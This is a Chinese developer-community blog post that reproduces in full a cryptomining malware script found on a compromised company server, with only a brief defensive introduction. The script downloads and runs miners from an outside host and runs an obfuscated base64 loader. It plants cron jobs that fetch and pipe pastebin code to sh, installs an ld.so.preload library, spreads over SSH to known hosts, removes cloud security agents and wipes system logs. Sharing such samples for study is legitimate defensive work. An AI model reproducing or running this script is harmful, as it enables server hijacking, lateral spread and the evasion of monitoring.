前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >shell脚本 挖矿病毒脚本分析

shell脚本 挖矿病毒脚本分析

原创
作者头像
陈不成i
修改2021-06-23 17:29:52
1.3K0
修改2021-06-23 17:29:52
举报
文章被收录于专栏:ops技术分享ops技术分享

一.简介

本脚本为公司服务器被挖矿,找到的下载矿机的脚本。但看到这么多行,应该是不止是挖矿,还做了别的事情。分析和学习此类脚本,可以防范和解决部分挖矿问题。

二.脚本内容

  1. #!/bin/bash
  2. SHELL=/bin/sh
  3. PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
  4. function b() {
  5. pkill -f sourplum
  6. pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
  7. rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
  8. rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
  9. rm -rf /tmp/*index_bak*
  10. rm -rf /tmp/*httpd.conf*
  11. rm -rf /tmp/*httpd.conf
  12. rm -rf /tmp/a7b104c270
  13. pkill -f biosetjenkins
  14. pkill -f AnXqV.yam
  15. pkill -f xmrigDaemon
  16. pkill -f xmrigMiner
  17. pkill -f xmrig
  18. pkill -f Loopback
  19. pkill -f apaceha
  20. pkill -f cryptonight
  21. pkill -f stratum
  22. pkill -f mixnerdx
  23. pkill -f performedl
  24. pkill -f JnKihGjn
  25. pkill -f irqba2anc1
  26. pkill -f irqba5xnc1
  27. pkill -f irqbnc1
  28. pkill -f ir29xc1
  29. pkill -f conns
  30. pkill -f irqbalance
  31. pkill -f crypto-pool
  32. pkill -f minexmr
  33. pkill -f XJnRj
  34. pkill -f NXLAi
  35. pkill -f BI5zj
  36. pkill -f askdljlqw
  37. pkill -f minerd
  38. pkill -f minergate
  39. pkill -f Guard.sh
  40. pkill -f ysaydh
  41. pkill -f bonns
  42. pkill -f donns
  43. pkill -f kxjd
  44. pkill -f Duck.sh
  45. pkill -f bonn.sh
  46. pkill -f conn.sh
  47. pkill -f kworker34
  48. pkill -f kw.sh
  49. pkill -f pro.sh
  50. pkill -f polkitd
  51. pkill -f acpid
  52. pkill -f icb5o
  53. pkill -f nopxi
  54. pkill -f irqbalanc1
  55. pkill -f minerd
  56. pkill -f i586
  57. pkill -f gddr
  58. pkill -f mstxmr
  59. pkill -f ddg.2011
  60. pkill -f wnTKYg
  61. pkill -f deamon
  62. pkill -f disk_genius
  63. pkill -f sourplum
  64. pkill -f bashx
  65. pkill -f bashg
  66. pkill -f bashe
  67. pkill -f bashf
  68. pkill -f bashh
  69. pkill -f XbashY
  70. pkill -f libapache
  71. pkill -f qW3xT.2
  72. pkill -f /usr/bin/.sshd
  73. pkill -f sustes
  74. pkill -f Xbash
  75. rm -rf /var/tmp/j*
  76. rm -rf /tmp/j*
  77. rm -rf /var/tmp/java
  78. rm -rf /tmp/java
  79. rm -rf /var/tmp/java2
  80. rm -rf /tmp/java2
  81. rm -rf /var/tmp/java*
  82. rm -rf /tmp/java*
  83. rm -rf /tmp/httpd.conf
  84. rm -rf /tmp/conn
  85. rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
  86. rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
  87. chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
  88. rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* .systemd-private-*
  89. chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
  90. chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
  91. chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate
  92. rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate
  93. chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
  94. rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
  95. mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port
  96. touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
  97. chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
  98. chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
  99. ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9
  100. ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
  101. ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
  102. ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
  103. ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
  104. ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
  105. ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
  106. ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
  107. ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
  108. ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
  109. ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
  110. ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
  111. ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
  112. ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
  113. ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
  114. ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
  115. ps auxf|grep -v grep|grep /tmp/thisxxs|awk '{print $2}'|xargs kill
  116. ps auxf|grep -v grep|grep /opt/yilu/work/xig/xig|awk '{print $2}'|xargs kill -9
  117. ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
  118. ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
  119. ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9
  120. netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  121. netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  122. netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  123. netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  124. netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  125. netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  126. netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  127. netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  128. netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  129. netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  130. netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  131. p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
  132. if [ ${p} -eq 0 ];then
  133. netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  134. ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
  135. fi
  136. }
  137. function d() {
  138. ARCH=$(uname -i)
  139. if [ "$ARCH" == "x86_64" ]; then
  140. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/1 -o /tmp/kworkerds||wget https://master.minerxmr.ru/One/1 -O /tmp/kworkerds) && chmod +x /tmp/kworkerds
  141. nohup /tmp/kworkerds >/dev/null 2>&1 &
  142. else
  143. mkdir -p /var/tmp
  144. chmod 1777 /var/tmp
  145. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/c -o /var/tmp/config.json||wget https://master.minerxmr.ru/One/c -O /var/tmp/config.json) && chmod +x /var/tmp/config.json
  146. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/x1 -o /var/tmp/kworkerds||wget https://master.minerxmr.ru/One/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
  147. nohup /var/tmp/kworkerds >/dev/null 2>&1 &
  148. fi
  149. }
  150. function e() {
  151. nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2hRWlRGQWRDJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
  152. touch /tmp/.38t9guft0055d0565u444gtjr0
  153. }
  154. function c() {
  155. chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
  156. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/CnPtQ2tM -o /usr/local/bin/dns||wget https://pastebin.com/raw/CnPtQ2tM -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
  157. echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
  158. echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
  159. echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
  160. echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
  161. mkdir -p /var/spool/cron/crontabs
  162. echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
  163. mkdir -p /etc/cron.hourly
  164. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
  165. mkdir -p /etc/cron.daily
  166. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
  167. mkdir -p /etc/cron.monthly
  168. (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
  169. mkdir -p /usr/local/lib/
  170. if [ ! -f "/usr/local/lib/libntpd.so" ]; then
  171. ARCH=$(uname -i)
  172. if [ "$ARCH" == "x86_64" ]; then
  173. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/2 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
  174. elif [ "$ARCH" == "i386" ]; then
  175. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
  176. else
  177. (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
  178. fi
  179. fi
  180. chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload
  181. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  182. for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh' & done
  183. fi
  184. touch -acmr /bin/sh /etc/cron.hourly/oanacroner
  185. touch -acmr /bin/sh /etc/cron.daily/oanacroner
  186. touch -acmr /bin/sh /etc/cron.monthly/oanacroner
  187. }
  188. function a() {
  189. if ps aux | grep -i '[a]liyun'; then
  190. wget http://update.aegis.aliyun.com/download/uninstall.sh
  191. chmod +x uninstall.sh
  192. ./uninstall.sh
  193. wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
  194. chmod +x quartz_uninstall.sh
  195. ./quartz_uninstall.sh
  196. rm -f uninstall.sh quartz_uninstall.sh
  197. pkill aliyun-service
  198. rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  199. rm -rf /usr/local/aegis*;
  200. elif ps aux | grep -i '[y]unjing'; then
  201. /usr/local/qcloud/stargate/admin/uninstall.sh
  202. /usr/local/qcloud/YunJing/uninst.sh
  203. /usr/local/qcloud/monitor/barad/admin/uninstall.sh
  204. fi
  205. touch /tmp/.a
  206. }
  207. mkdir -p /tmp
  208. chmod 1777 /tmp
  209. if [ ! -f "/tmp/.a" ]; then
  210. a
  211. fi
  212. b
  213. c
  214. port=$(netstat -an | grep :56415 | wc -l)
  215. if [ ${port} -eq 0 ];then
  216. d
  217. fi
  218. if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then
  219. e
  220. fi
  221. echo 0>/var/spool/mail/root
  222. echo 0>/var/log/wtmp
  223. echo 0>/var/log/secure
  224. echo 0>/var/log/cron
  225. #

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一.简介
  • 二.脚本内容
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档